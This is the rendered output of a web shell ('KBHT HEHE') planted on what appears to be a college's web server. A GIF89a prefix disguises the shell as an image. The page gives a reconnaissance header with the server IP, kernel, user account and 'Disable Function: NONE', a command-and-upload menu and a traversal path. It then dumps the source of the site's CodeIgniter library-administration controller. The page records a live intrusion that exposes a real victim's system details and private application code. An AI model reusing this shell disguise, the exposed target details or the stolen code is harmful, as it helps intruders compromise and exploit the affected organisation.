GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.148.106.49
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../css/../cas/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../css/../cas/application/controllers/admin/LibraryConfig.php
<?php

/**
 * Controller class for handling all requests related to library configuration
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class LibraryConfig extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model('admin/LibraryManagement');
        $this->load->model('admin/SessionManagement');
        $this->load->model('admin/DepartmentManagement');
    }

    public function publicationCategories() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['allPublicationCategories'] = $this->LibraryManagement->getAllPublicationCategories()->result();
            $this->load->view('admin/library/publicationCategories', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createPublicationCategory() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->load->view('admin/library/createPublicationCategory');
        } else {
            redirect("admin/");
        }
    }

    public function saveNewPublicationCategory() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('lpcm_name', 'Exam Name', 'trim|required', array('required' => 'Exam Name Can Not Be Blank.'));
            $this->form_validation->set_rules('lpcm_short_name', 'Exam Title', 'trim|required', array('required' => 'Exam Title/Abbrevation Can Not Be Blank.'));
            $queryByPCName = $this->LibraryManagement->getPublicationCategoryInfoByName(trim($this->input->post('lpcm_name')));
            $pcInfoByName = $queryByPCName->result();
            $queryByPCShortName = $this->LibraryManagement->getPublicationCategoryInfoByShortName(trim($this->input->post('lpcm_short_name')));
            $pcInfoByShortName = $queryByPCShortName->result();
            if ($this->form_validation->run() == FALSE) {
                $this->createPublicationCategory();
            } else if (sizeof($pcInfoByName)) {
                $this->session->set_flashdata('errorMessage', "A Publication Category With This Name (" . trim($this->input->post('lpcm_name')) . ") Already Exits. Please Choose A Different Name.");
                $this->createPublicationCategory();
            } else if (sizeof($pcInfoByShortName)) {
                $this->session->set_flashdata('errorMessage', "A Publication Category With This Short Name/Abbrevation (" . trim($this->input->post('lpcm_short_name')) . ") Already Exits. Please Choose A Different Short Name/Abbrevation.");
                $this->createPublicationCategory();
            } else {
                $newPublicationCategoryInfo = array(
                    'lpcm_name' => addslashes(trim($this->input->post('lpcm_name'))),
                    'lpcm_short_name' => addslashes(trim($this->input->post('lpcm_short_name'))),
                    'lpcm_description' => addslashes(trim($this->input->post('lpcm_description'))),
                    'lpcm_added_on' => date("Y-m-d H:i:s"),
                    'lpcm_added_by' => $this->session->userdata("adminData")["smember_id"],
                    'lpcm_updated_on' => date("Y-m-d H:i:s"),
                    'lpcm_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->LibraryManagement->createNewPublicationCategory($newPublicationCategoryInfo)) {
                    $this->session->set_flashdata('successMessage', 'Publication Category Created Successfully.');
                    redirect("admin/LibraryConfig/publicationCategories");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Publication Category. Try Later.');
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editPublicationCategory($lpcm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['publicationCategoryInfo'] = $this->LibraryManagement->getPublicationCategoryInfoBy($lpcm_id)->result()[0];
            $this->load->view('admin/library/editPublicationCategory', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updatePublicationCategory() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $lpcm_id = $this->input->post('lpcm_id');
            $this->form_validation->set_rules('lpcm_name', 'Exam Name', 'trim|required', array('required' => 'Exam Name Can Not Be Blank.'));
            $this->form_validation->set_rules('lpcm_short_name', 'Exam Title', 'trim|required', array('required' => 'Exam Title/Abbrevation Can Not Be Blank.'));
            if ($this->form_validation->run() == FALSE) {
                $this->editPublicationCategory($lpcm_id);
            } else if (!$this->LibraryManagement->isPublicationCategoryNameSafeUpdate($lpcm_id, trim($this->input->post('lpcm_name')))) {
                $this->session->set_flashdata('errorMessage', "A Publication Category With This Name (" . trim($this->input->post('lpcm_name')) . ") Already Exits. Please Choose A Different Name.");
                $this->editPublicationCategory($lpcm_id);
            } else if (!$this->LibraryManagement->isPublicationCategoryShortNameSafeUpdate($lpcm_id, trim($this->input->post('lpcm_short_name')))) {
                $this->session->set_flashdata('errorMessage', "A Publication Category With This Short Name/Abbrevation (" . trim($this->input->post('lpcm_short_name')) . ") Already Exits. Please Choose A Different Short Name/Abbrevation.");
                $this->editPublicationCategory($lpcm_id);
            } else {
                $publicationCategoryInfo = array(
                    'lpcm_id' => $lpcm_id,
                    'lpcm_name' => addslashes(trim($this->input->post('lpcm_name'))),
                    'lpcm_short_name' => addslashes(trim($this->input->post('lpcm_short_name'))),
                    'lpcm_description' => addslashes(trim($this->input->post('lpcm_description'))),
                    'lpcm_updated_on' => date("Y-m-d H:i:s"),
                    'lpcm_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->LibraryManagement->updatePublicationCategoryInfo($publicationCategoryInfo)) {
                    $this->session->set_flashdata('successMessage', 'Publication Category Updated Successfully.');
                    redirect("admin/LibraryConfig/publicationCategories");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Publication Category. Try Later.');
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function togglePublicationCategoryStatus($lpcm_id, $toUpdateStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $publicationCategoryUpdateData = array(
                'lpcm_id' => $lpcm_id,
                'lpcm_updated_on' => date("Y-m-d H:i:s"),
                'lpcm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'lpcm_active_status' => $toUpdateStatus
            );
            if ($this->LibraryManagement->updatePublicationCategoryInfo($publicationCategoryUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Publication Category Status Updated Successfully.');
                redirect("admin/LibraryConfig/publicationCategories");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Publication Category Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function deletePublicationCategory($lpcm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $publicationCategoryUpdateData = array(
                'lpcm_id' => $lpcm_id,
                'lpcm_updated_on' => date("Y-m-d H:i:s"),
                'lpcm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'lpcm_delete_status' => 'T'
            );
            if ($this->LibraryManagement->updatePublicationCategoryInfo($publicationCategoryUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Publication Category Deleted Successfully.');
                redirect("admin/LibraryConfig/publicationCategories");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Publication Category. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function undoDeletePublicationCategory($lpcm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $publicationCategoryUpdateData = array(
                'lpcm_id' => $lpcm_id,
                'lpcm_updated_on' => date("Y-m-d H:i:s"),
                'lpcm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'lpcm_delete_status' => 'F'
            );
            if ($this->LibraryManagement->updatePublicationCategoryInfo($publicationCategoryUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Publication Category Recovered Successfully.');
                redirect("admin/LibraryConfig/publicationCategories");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Publication Category. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    /* Request Hanlders For Issue Setup & Related Stuffs */

    public function issueSetups() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['allIssueSetups'] = $this->LibraryManagement->getAllIssueSetups()->result();
            $this->load->view('admin/library/issueSetups', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createIssueSetup() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $this->load->view('admin/library/createIssueSetup', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewIssueSetup() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Please Select Any Session.'));
            $this->form_validation->set_rules('lism_user_type', 'User Type', 'trim|required', array('required' => 'Please Select User Type.'));
            $this->form_validation->set_rules('lism_max_copy_allowed', 'Max. Allowed Copy', 'trim|required', array('required' => 'Please Enter Max. Allowed Copies That Can Be Issued.'));
            $this->form_validation->set_rules('lism_max_allowed_day', 'Max. Days Allowed', 'trim|required', array('required' => 'Please Enter Max. Allowed Days For Which A Copy Can Be Issued Issued.'));
            $queryBySessionAndUserTypeName = $this->LibraryManagement->getIssueSetupsInfoBySessionAndUserType(trim($this->input->post('session')), trim($this->input->post('lism_user_type')));
            $setupInfoBySessionAndUserType = $queryBySessionAndUserTypeName->result();
            if ($this->form_validation->run() == FALSE) {
                $this->createIssueSetup();
            } else if (sizeof($setupInfoBySessionAndUserType)) {
                $this->session->set_flashdata('errorMessage', "An Issue Setup Has Already Been Created For Selected Session & User Type Combination.");
                $this->createIssueSetup();
            } else {
                $newIssueSetupInfo = array(
                    'lism_user_type' => trim($this->input->post('lism_user_type')),
                    'lism_max_copy_allowed' => trim($this->input->post('lism_max_copy_allowed')),
                    'lism_max_allowed_day' => trim($this->input->post('lism_max_allowed_day')),
                    'session_id' => trim($this->input->post('session')),
                    'lism_added_on' => date("Y-m-d H:i:s"),
                    'lism_added_by' => $this->session->userdata("adminData")["smember_id"],
                    'lism_updated_on' => date("Y-m-d H:i:s"),
                    'lism_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->LibraryManagement->createNewIssueSetup($newIssueSetupInfo)) {
                    $this->session->set_flashdata('successMessage', 'Issue Setup Created Successfully.');
                    redirect("admin/LibraryConfig/issueSetups");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Issue Setup. Try Later.');
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editIssueSetup($lism_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData['issueSetupInfo'] = $this->LibraryManagement->getIssueSetupsInfoBy($lism_id)->result()[0];
            $this->load->view('admin/library/editIssueSetup', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateIssueSetup() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $lism_id = trim($this->input->post('lism_id'));
            $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Please Select Any Session.'));
            $this->form_validation->set_rules('lism_user_type', 'User Type', 'trim|required', array('required' => 'Please Select User Type.'));
            $this->form_validation->set_rules('lism_max_copy_allowed', 'Max. Allowed Copy', 'trim|required', array('required' => 'Please Enter Max. Allowed Copies That Can Be Issued.'));
            $this->form_validation->set_rules('lism_max_allowed_day', 'Max. Days Allowed', 'trim|required', array('required' => 'Please Enter Max. Allowed Days For Which A Copy Can Be Issued Issued.'));
            if ($this->form_validation->run() == FALSE) {
                $this->editIssueSetup($lism_id);
            } else if (!$this->LibraryManagement->isIssueSetupSafeUpdate($lism_id, trim($this->input->post('session')), trim($this->input->post('lism_user_type')))) {
                $this->session->set_flashdata('errorMessage', "An Issue Setup Has Already Been Created For Selected Session & User Type Combination.");
                $this->editIssueSetup($lism_id);
            } else {
                $issueSetupInfo = array(
                    'lism_id' => $lism_id,
                    'lism_user_type' => trim($this->input->post('lism_user_type')),
                    'lism_max_copy_allowed' => trim($this->input->post('lism_max_copy_allowed')),
                    'lism_max_allowed_day' => trim($this->input->post('lism_max_allowed_day')),
                    'session_id' => trim($this->input->post('session')),
                    'lism_updated_on' => date("Y-m-d H:i:s"),
                    'lism_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->LibraryManagement->updateIssueSetupInfo($issueSetupInfo)) {
                    $this->session->set_flashdata('successMessage', 'Issue Setup Updated Successfully.');
                    redirect("admin/LibraryConfig/issueSetups");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Issue Setup. Try Later.');
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    /* Request Hanlders For Issue Setup & Related Stuffs */

    /* Request Hanlders For Creating Books/Magazines & Journals Etc. */

    public function createBookMagazineJournal() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData['publicationCategories'] = $this->LibraryManagement->getNonDeletedActivePublicationCategories()->result();
            $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result();
            $this->load->view('admin/library/createBookMagazineJournal', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewBookMagJnl() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Please Select Any Session.'));
            $this->form_validation->set_rules('lpcm_id', 'Publication Category', 'trim|required', array('required' => 'Please Select Any Publication Category.'));
            $this->form_validation->set_rules('isbn_issn_no', 'ISBN/ISSN No.', 'trim|required', array('required' => 'Please Enter ISBN/ISSN No.'));
            $this->form_validation->set_rules('title', 'Title', 'trim|required', array('required' => 'Please Enter Title.'));
            $queryByISBNISSNNo = $this->LibraryManagement->getBookMagazineJournalInfoByName(trim($this->input->post('isbn_issn_no')));
            $bookMagJrnlInfoByISBNISSNNo = $queryByISBNISSNNo->result();
            if ($this->form_validation->run() == FALSE) {
                $this->createBookMagazineJournal();
            } else if (sizeof($bookMagJrnlInfoByISBNISSNNo)) {
                $this->session->set_flashdata('errorMessage', "A Copy With This ISBN/ISSN No. (" . trim($this->input->post('isbn_issn_no')) . ") Already Exits. Please Recheck ISBN/ISSN & Retry.");
                $this->createBookMagazineJournal();
            } else {
                $newCopyInfo = array(
                    'lbmjm_isbn_issn_no' => addslashes(trim($this->input->post('isbn_issn_no'))),
                    'lbmjm_title' => addslashes(trim($this->input->post('title'))),
                    'lbmjm_authors' => addslashes(trim($this->input->post('authors'))),
                    'lbmjm_publication_year' => trim($this->input->post('publicationYear')),
                    'lbmjm_publisher_name' => addslashes(trim($this->input->post('publisherName'))),
                    'lbmjm_subject_name' => addslashes(trim($this->input->post('subject'))),
                    'lbmjm_place' => addslashes(trim($this->input->post('place'))),
                    'lbmjm_description' => addslashes(trim($this->input->post('description'))),
                    'session_id' => trim($this->input->post('session')),
                    'dept_id' => trim($this->input->post('department')),
                    'sub_dept_id' => trim($this->input->post('subDepartment')),
                    'lpcm_id' => trim($this->input->post('lpcm_id')),
                    'lbmjm_added_on' => date("Y-m-d H:i:s"),
                    'lbmjm_added_by' => $this->session->userdata("adminData")["smember_id"],
                    'lbmjm_updated_on' => date("Y-m-d H:i:s"),
                    'lbmjm_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->LibraryManagement->createNewBookMagazineJournal($newCopyInfo)) {
                    $this->session->set_flashdata('successMessage', 'Book/Magazine/Journal Added Successfully.');
                    redirect(current_url());
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Saving Book/Magazine/Journal Copy. Try Later.');
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function viewBooksMagazinesJournal() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $selectedSubDepartment = "";
            $filteredRecords = array();
            if (isset($_POST['filterSubmitBtn'])) {
                $searchKeyword = addslashes(trim($this->input->post("searchKeyWord")));
                $selectedSession = trim($this->input->post("session"));
                $selectedPublicationType = trim($this->input->post("publicationType"));
                $selectedDepartment = trim($this->input->post("department"));
                $selectedSubDepartment = trim($this->input->post("subDepartment"));
                $selectedStartDate = (trim($this->input->post("startDate")) == "") ? "" : date("Y-m-d 00:00:00", strtotime(str_replace('/', '-', trim($this->input->post("startDate")))));
                $selectedEndDate = (trim($this->input->post("endDate")) == "") ? "" : date("Y-m-d 23:59:59", strtotime(str_replace('/', '-', trim($this->input->post("endDate")))));
                $selectedRangeAppliedWith = trim($this->input->post("dateRangeAppliedWith"));
                $filteredRecords = $this->LibraryManagement->getBooksMagazinesJournalsReport($searchKeyword, $selectedSession, $selectedPublicationType, $selectedDepartment, $selectedSubDepartment, $selectedStartDate, $selectedEndDate, $selectedRangeAppliedWith)->result();
            }
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData['publicationCategories'] = $this->LibraryManagement->getNonDeletedActivePublicationCategories()->result();
            $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result();
            $viewData['selectedSubDepartment'] = $selectedSubDepartment;
            $viewData['filteredRecords'] = $filteredRecords;
            $this->load->view('admin/library/booksMagazinesJournals', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function editBookMagazineJournal($lbmjm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData['publicationCategories'] = $this->LibraryManagement->getNonDeletedActivePublicationCategories()->result();
            $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result();
            $viewData['bookMagazineJournalInfo'] = $this->LibraryManagement->getBookMagazineJournalInfoBy($lbmjm_id)->result()[0];
            $this->load->view('admin/library/editBookMagazineJournal', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateBookMagJnl() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $lbmjm_id = trim($this->input->post('lbmjm_id'));
            $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Please Select Any Session.'));
            $this->form_validation->set_rules('lpcm_id', 'Publication Category', 'trim|required', array('required' => 'Please Select Any Publication Category.'));
            $this->form_validation->set_rules('isbn_issn_no', 'ISBN/ISSN No.', 'trim|required', array('required' => 'Please Enter ISBN/ISSN No.'));
            $this->form_validation->set_rules('title', 'Title', 'trim|required', array('required' => 'Please Enter Title.'));
            if ($this->form_validation->run() == FALSE) {
                $this->editBookMagazineJournal($lbmjm_id);
            } else if (!$this->LibraryManagement->isISSNISBNNumberSafeUpdate($lbmjm_id, trim($this->input->post('isbn_issn_no')))) {
                $this->session->set_flashdata('errorMessage', "A Copy With This ISBN/ISSN No. (" . trim($this->input->post('isbn_issn_no')) . ") Already Exits. Please Recheck ISBN/ISSN & Retry.");
                $this->editBookMagazineJournal($lbmjm_id);
            } else {
                $libraryCopyInfo = array(
                    'lbmjm_id' => $lbmjm_id,
                    'lbmjm_isbn_issn_no' => addslashes(trim($this->input->post('isbn_issn_no'))),
                    'lbmjm_title' => addslashes(trim($this->input->post('title'))),
                    'lbmjm_authors' => addslashes(trim($this->input->post('authors'))),
                    'lbmjm_publication_year' => trim($this->input->post('publicationYear')),
                    'lbmjm_publisher_name' => addslashes(trim($this->input->post('publisherName'))),
                    'lbmjm_subject_name' => addslashes(trim($this->input->post('subject'))),
                    'lbmjm_place' => addslashes(trim($this->input->post('place'))),
                    'lbmjm_description' => addslashes(trim($this->input->post('description'))),
                    'session_id' => trim($this->input->post('session')),
                    'dept_id' => trim($this->input->post('department')),
                    'sub_dept_id' => trim($this->input->post('subDepartment')),
                    'lpcm_id' => trim($this->input->post('lpcm_id')),
                    'lbmjm_updated_on' => date("Y-m-d H:i:s"),
                    'lbmjm_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->LibraryManagement->updateBookMagazineJournalInfo($libraryCopyInfo)) {
                    $this->session->set_flashdata('successMessage', 'Book/Magazine/Journal Updated Successfully.');
                    $this->editBookMagazineJournal($lbmjm_id);
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Book/Magazine/Journal Copy Info. Try Later.');
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleBooksMagazinesJournalStatus($lbmjm_id, $toUpdateStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $booksMagazinesJournalUpdateData = array(
                'lbmjm_id' => $lbmjm_id,
                'lbmjm_updated_on' => date("Y-m-d H:i:s"),
                'lbmjm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'lbmjm_active_status' => $toUpdateStatus
            );
            if ($this->LibraryManagement->updateBookMagazineJournalInfo($booksMagazinesJournalUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Book/Magazine/Journal Status Updated Successfully.');
                redirect("admin/LibraryConfig/viewBooksMagazinesJournal");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Book/Magazine/Journal Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteBooksMagazinesJournal($lbmjm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $booksMagazinesJournalUpdateData = array(
                'lbmjm_id' => $lbmjm_id,
                'lbmjm_updated_on' => date("Y-m-d H:i:s"),
                'lbmjm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'lbmjm_delete_status' => 'T'
            );
            if ($this->LibraryManagement->updateBookMagazineJournalInfo($booksMagazinesJournalUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Book/Magazine/Journal Deleted Successfully.');
                redirect("admin/LibraryConfig/viewBooksMagazinesJournal");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Book/Magazine/Journal. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function getLibraryCopyFullInfo() {
        $lbmjm_id = $_POST['lbmjm_id'];
        $book_magazine_journal_info = $this->LibraryManagement->getBookMagazineJournalInfoBy($lbmjm_id)->result()[0];
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'lbmjm_id' => $book_magazine_journal_info->lbmjm_id,
            'lbmjm_isbn_issn_no' => stripslashes($book_magazine_journal_info->lbmjm_isbn_issn_no),
            'lbmjm_title' => stripslashes($book_magazine_journal_info->lbmjm_title),
            'lbmjm_authors' => stripslashes($book_magazine_journal_info->lbmjm_authors),
            'lbmjm_publication_year' => stripslashes($book_magazine_journal_info->lbmjm_publication_year),
            'lbmjm_publisher_name' => stripslashes($book_magazine_journal_info->lbmjm_publisher_name),
            'lbmjm_subject_name' => stripslashes($book_magazine_journal_info->lbmjm_subject_name),
            'lbmjm_place' => stripslashes($book_magazine_journal_info->lbmjm_place),
            'lbmjm_description' => stripslashes($book_magazine_journal_info->lbmjm_description),
            'session' => stripslashes($book_magazine_journal_info->session_name),
            'department' => stripslashes($book_magazine_journal_info->dept_name),
            'sub_department' => stripslashes($book_magazine_journal_info->sub_dept_name),
            'publication_category' => stripslashes($book_magazine_journal_info->lpcm_short_name),
            'lbmjm_added_by' => stripslashes($book_magazine_journal_info->addedByAdmin),
            'lbmjm_updated_by' => stripslashes($book_magazine_journal_info->updatedByAdmin),
            'lbmjm_added_on' => date('d-m-Y h:i:s A', strtotime($book_magazine_journal_info->lbmjm_added_on)),
            'lbmjm_updated_on' => date('d-m-Y h:i:s A', strtotime($book_magazine_journal_info->lbmjm_updated_on))
        );
        echo json_encode($responseData);
    }

}

KBHT - 2023